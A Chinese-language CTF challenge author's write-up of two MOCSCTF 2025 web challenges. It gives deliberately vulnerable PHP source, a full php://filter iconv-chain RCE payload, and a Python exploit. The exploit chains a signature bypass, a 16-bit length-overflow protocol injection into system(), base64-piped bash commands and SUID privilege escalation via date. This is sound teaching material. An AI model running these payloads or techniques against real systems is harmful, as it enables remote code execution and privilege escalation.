比赛链接:https://mocsctf.com/events.html?id=mocsctf-2025
这次比赛出了两道web,当然,因为这个比赛本来就是给澳门的高中生打的,只是有公开赛赛道,而且公开赛赛道较为抽象,一个人一队,八个小时四十道题,所以我们这边出的题本来也不算太难,可惜感觉还是没多少人来看题,导致我这俩题一道一解,一道零解。后面官方应该会放docker和wp,这里我就讲讲思路了,如果要docker可以找我要。
ez-write
出题思路主要就是我之前的一篇博客,这个月专门隐藏了:老洞新水之复活CVE-2018-9174,主要是就是昨年做实训的时候顺手挖的一个dedecms的洞,因为利用过程比较有意思所以拿出来出了,但整体难度应该不算大,出的时候还专门把反引号都ban了,没想到竟然只有一解。
赛题的代码比较简单:
<?php
highlight_file(__FILE__);
$filename = $_POST['refiles'] ?? [];
$filename = preg_replace('/[";()`]/', '', $filename);
file_put_contents('tmp.php', "<?php\n\$files = \"$filename\";\n?>");
简单来说,我们可以向一个被双引号包裹了的地方写入代码,不过我们不能使用双引号、括号、分号和反引号,这里用到两个trick,首先,php里如果被双引号包围,我们还是可以使用${ php代码}
的方法执行被${}包裹的代码,不过这里由于不允许使用括号和反引号,所以我们只能使用一些没有括号的函数,比如include,这里用到的另一个trick就是陆队The End Of LFI?里提到的一个技巧,利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码,这里最后能打通的payload如下:
refiles=${ include 'php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd'}
接着访问tmp.php即可执行命令:
不过我们直接读flag没有权限:
bash -c '{echo,"Y2F0IC9mKiAyPiYx"}|{base64,-d}|{bash,-i}'
查一下suid,可以想到用xxd读取:
最后直接xxd /f*即可:
ez-injection
这道题出题思路其实是我的另一篇博客:再谈预编译与sql注入,主要就是那篇DEF CON议题,在协议层进行注入,挺有意思的,不知道国内有没有人拿这个出过题。
题目的代码比较简单,就两个php文件:
<?php
#index.php
$Secret_key = "xxxxx"; //一串随机字符
function checkSignature($signature)
{
try {
$decoded = base64_decode($signature, true);
if ($decoded === false) {
throw new Exception("Invalid base64 encoding");
}
global $Secret_key;
return $decoded === $Secret_key;
} catch (Exception $e) {
echo $e->getMessage() . PHP_EOL;
}
}
function verifySignature($headers)
{
if (!isset($headers['X-Signature'])) {
return false;
}
$validSignature = $headers['X-Signature'];
if (checkSignature($validSignature) === false) {
return false;
}
return true;
}
if (!verifySignature(getallheaders())) {
http_response_code(403);
?>
<div style="
margin: 50px auto;
padding: 20px;
max-width: 600px;
background-color: #ffe6e6;
color: #a94442;
border: 1px solid #f5c6cb;
border-left: 5px solid #d9534f;
border-radius: 8px;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
">
<h2>⚠️ 签名验证失败</h2>
<p>您的请求未通过验证,可能存在伪造行为或签名错误。</p>
</div>
<?php
exit;
}
function base64url_encode($data)
{
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function encrypt($data, $key)
{
$method = 'AES-256-CBC';
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);
return base64url_encode($iv . $encrypted);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$function = $_POST['function'] ?? '';
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$host = $_SERVER['SERVER_ADDR'];
$baseUrl = $protocol . '://' . $host;
$data = '';
if ($function === 'A') {
$command = 'date';
$data = bin2hex('A' . pack('n', strlen($command)) . $command);
} elseif ($function === 'B') {
$date = $_POST['date'] ?? '';
$command = $date;
$data = bin2hex('B' . pack('n', strlen($command)) . $command);
} elseif ($function === 'C') {
$weekdate = $_POST['weekdate'] ?? '';
$timestamp = strtotime($weekdate);
if ($timestamp === false) {
$result = '<div class="result"><h3>执行结果:</h3><pre>无效的日期格式</pre></div>';
} else {
$monday = strtotime('last monday', $timestamp);
if (date('N', $timestamp) == 1) $monday = $timestamp;
$combined = '';
for ($i = 0; $i < 7; $i++) {
$day = date('Y-m-d', strtotime("+$i day", $monday));
$command = $day;
$combined .= 'B' . pack('n', strlen($command)) . $command;
}
$data = bin2hex($combined);
}
}
if (!empty($data)) {
$encryptedSource = encrypt('index.php', $Secret_key);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $baseUrl . '/execute.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'X-Source: ' . $encryptedSource,
'Content-Type: application/octet-stream'
]);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, hex2bin($data));
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
$result = $error
? '<div class="result"><h3>执行结果:</h3><pre>请求失败: ' . htmlspecialchars($error) . '</pre></div>'
: '<div class="result"><h3>执行结果:</h3><pre>' . $response . '</pre></div>';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>功能选择</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
.container {
display: flex;
flex-direction: column;
gap: 20px;
}
.function {
border: 1px solid #ddd;
padding: 20px;
border-radius: 5px;
}
input[type="text"] {
padding: 8px;
margin: 5px 0;
width: 200px;
}
button {
padding: 8px 16px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #45a049;
}
.result {
margin-top: 20px;
padding: 10px;
border: 1px solid #ddd;
border-radius: 5px;
background-color: #f9f9f9;
}
</style>
</head>
<body>
<div class="container">
<h1>功能选择</h1>
<div class="function">
<h2>当前系统时间</h2>
<form method="post">
<input type="hidden" name="function" value="A">
<button type="submit">执行</button>
</form>
</div>
<div class="function">
<h2>解析指定日期</h2>
<form method="post" onsubmit="return validateDate(this.date.value);">
<input type="hidden" name="function" value="B">
<input type="text" name="date" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
<button type="submit">执行</button>
</form>
</div>
<div class="function">
<h2>解析某日期所在周的每天</h2>
<form method="post" onsubmit="return validateDate(this.weekdate.value);">
<input type="hidden" name="function" value="C">
<input type="text" name="weekdate" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
<button type="submit">执行</button>
</form>
</div>
<script>
function validateDate(dateStr) {
const regex = /^\d{4}-\d{2}-\d{2}$/;
if (!regex.test(dateStr)) {
alert("请输入正确的日期格式:YYYY-MM-DD");
return false;
}
return true;
}
</script>
<?php if (isset($result)): ?>
<?php echo $result; ?>
<?php endif; ?>
</div>
</body>
</html>
<?php
#execute.php
$Secret_key = "xxxxx"; //一串随机字符
function base64url_decode($data)
{
return base64_decode(strtr($data, '-_', '+/') . str_repeat('=', (4 - strlen($data) % 4) % 4));
}
function decrypt($data, $key)
{
$method = 'AES-256-CBC';
$data = base64url_decode($data);
$iv = substr($data, 0, 16);
$encrypted = substr($data, 16);
return openssl_decrypt($encrypted, $method, $key, OPENSSL_RAW_DATA, $iv);
}
function isValidDate($date)
{
$d = DateTime::createFromFormat('Y-m-d', $date);
return $d && $d->format('Y-m-d') === $date;
}
if (!isset($_SERVER['HTTP_X_SOURCE'])) {
die("非法访问");
}
$source = decrypt($_SERVER['HTTP_X_SOURCE'], $Secret_key);
if ($source !== 'index.php') {
die("非法访问");
}
$input = file_get_contents('php://input');
if (strlen($input) < 3) {
die("无效的请求数据");
}
$offset = 0;
$outputAll = [];
while ($offset + 3 <= strlen($input)) {
$type = $input[$offset];
$length = unpack('n', substr($input, $offset + 1, 2))[1];
$command = substr($input, $offset + 3, $length);
$offset += 3 + $length;
if ($type != "B" && $type != "A") {
die("错误的协议格式");
}
if ($type === "B") {
$date = $command;
if (!isValidDate($date)) {
die("日期格式错误");
}
$command = "date -d " . $date;
}
ob_start();
system($command);
$result = ob_get_clean();
echo "<div class='block'><pre>" . htmlspecialchars($result) . "</pre></div>";
}
直接访问页面,会显示签名验证失败,拒绝访问:
直接定位到代码的部分,可以发现签名的逻辑其实是判断你的请求头里是不是带了X-Signature字段,然后用这个字段解码后和$Secret_Key进行比较:
但这里的checkSignature函数以及verifySignature函数的验证配合存在一个严重的逻辑缺陷,checkSignature只是在能正常解码的时候把签名和$Secret_Key进行比较,返回真或者假,而verifySignature只有在checkSignature返回假的时候才退出,否则默认返回真,那么这里我们其实只需要构造一个错误的base64编码,比如@@@,让checkSignature解码错误,那么该函数就会抛出错误,且不会返回假,verifySignature也能正常通过(你可能觉得世界上不会有人这么写代码,但实际上这是某互联网公司的真实代码逻辑):
GET / HTTP/1.1
Host: localhost:9999
X-Signature:@@@
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
接着分析源码可以看出来,这个功能界面其实是有三个功能,后两个功能需要传入一个日期,而功能一什么也不需要传入:
这里index.php和execute.php通过构造的二进制协议进行传输,构造逻辑是:标志字段+命令长度+实际的命令:
在execute.php中会首先判断来源是否是index.php,判断成功后对传入的二进制协议进行解析,若标志字段是A,直接执行命令,若标志字段是B,则会判断传入的命令是否是一个合法的日期格式,判断成功后拼接date -d进行执行,否则退出
这里我们本地抓一下查看日期的包,看一下二进制协议的构造细节:
可以看到传入的二进制数据是:
42000a323031322d31322d3131
其中42是B的十六进制,代表了这次协议的标志B,000a代表了这次请求载荷的长度是10,后面的323031322d31322d3131就是实际载荷2012-12-21
这里我们可以尝试恶意构造一个错误的数据,比如在2012-12-21后面加10个A,可以看到此时的长度就变成了0014,也就是20,这证明我们恶意构造一个比较长的数,这个长度字段确实会随之增长:
只不过后端这里存在校验,判断到你的标头是B,会用你的载荷对比是否是合法的日期,不是的话还是不能执行,除非标头是A才会直接执行,但我们并没有可控点:
但这里有一个很有趣的点,因为发送的长度字段是直接len的载荷,虽然我们的命令不符合日期可能不能直接执行,但我们现在确实能直接控制长度字段的长度。我们回看这个协议,这个 pack('n', strlen($command))
是什么意思呢?其实是获取$command
这段字符串的长度接着按照16位(2字节)无符号整数打包成二进制数据:
16位也就是我们之前看到的000a,而16位无符号整数其实有上限的,它的上限就是ffff,如果我们再给它加1,它就会变成10000,而经过16位的截断,实际上写入协议的长度就变成了0000。我们不妨做个实验,16位无符号整数的最大值是65536,而本来的载荷2012-12-11的长度是10,理论上我们只要再在2012-12-11的后面加65526个A,那么现在写入协议的长度字段就应该变成0000,而事实也正如我们所愿,它变成了0000:
尤里卡!现在我们已经能任意控制这个长度字段了,我们再回看后端解析协议的逻辑,它其实就是根据这个长度字段解析载荷,然后继续按着类似的逻辑解析下一个二进制协议,直到整个请求解析结束:
那么思路其实已经很明显了,因为只有标头为A的二进制协议才能正常执行,那么我们只需要构造一个标头为A的可以执行命令的二进制协议,将他放在2012-12-11的后面,然后填充A,保证第一个协议截断后恰好是一个合法的以A开头的协议,那么就会成功解析我们的协议并且执行任意命令了!脚本如下:
import http.client
import struct
import gzip
import io
import base64
# 构造头部用到的签名
x_signature = "@@@"
def build_packet(command: str) -> str:
prefix = b"A"
length = struct.pack(">H", len(command))
payload = command.encode()
full_packet = prefix + length + payload
return full_packet.hex()
# command2execute = "find / -perm -u=s -type f 2>/dev/null"
# command2execute = "date -f /f* 2>&1"
# command2execute = "cat /f* 2>&1"
command2execute = "ls -al /"
command = (
"bash -c '{echo,"
+ base64.b64encode(command2execute.encode()).decode()
+ "}|{base64,-d}|{bash,-i}'"
)
HexCommand = build_packet(command)
# print(HexCommand)
hex_part = bytes.fromhex(HexCommand)
prefix = "function=B&date=2012-12-11"
prefix_bytes = prefix.encode()
total_length = 65536
filler_len = total_length - len(hex_part)
# 构造请求体:前缀 + 协议包 + 填充
body = prefix_bytes + hex_part + b"A" * filler_len
# target_url = "localhost:9999"
target_url = "public-chall-2025.mocsctf.com:31001"
# 构造 headers
headers = {
"Host": target_url,
"X-Signature": x_signature,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": target_url,
"Referer": target_url,
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Connection": "close",
"Content-Length": str(len(body)),
}
# 发起请求
conn = http.client.HTTPConnection(target_url)
conn.request("POST", "/", body=body, headers=headers)
# 读取响应
res = conn.getresponse()
print(f"Status: {res.status}")
# print(res.read().decode(errors="ignore"))
raw_data = res.read()
try:
with gzip.GzipFile(fileobj=io.BytesIO(raw_data)) as f:
decompressed_data = f.read()
text = decompressed_data.decode("utf-8", errors="ignore")
print(text)
except Exception as e:
print(f"解压失败: {e}")
print(raw_data)
这里我们直接执行ls -al /,可以发现我们现在没有读取flag的权限,还需要提一下权:
这里我们用find / -perm -u=s -type f 2>/dev/null
查一下suid,可以发现date存在suid提权的可能:
不过这里我们如果直接使用date -f /f*
在页面上其实是看不到输出的:
回看网页代码里执行代码的逻辑,它其实是读取了缓冲区的结果进行输出,错误信息(我们的date -f
执行得到的就是错误信息)通常会输出到标准错误流(stderr
)中,而不会写入到标准输出流(stdout
)中。
因此要想在页面上看到输出,我们需要把错误信息也输出到缓冲区,最后能打通的payload其实是date -f /f* 2>&1
,不过再传POST的时候还需要对&特殊处理一下,否则解析会出错,比如我的exp.py里是直接base64了,最后我们终于可以读取flag了:
回看整题可以发现,出现漏洞的原因其实和编程语言没有关系,纯粹是因为代码的逻辑错误。事实也确实如此,验签那个漏洞本来是出在js上的,协议注入是出在go上,而go没有try catch这种语法,所以最后只能选择世界上最好的语言php出题了。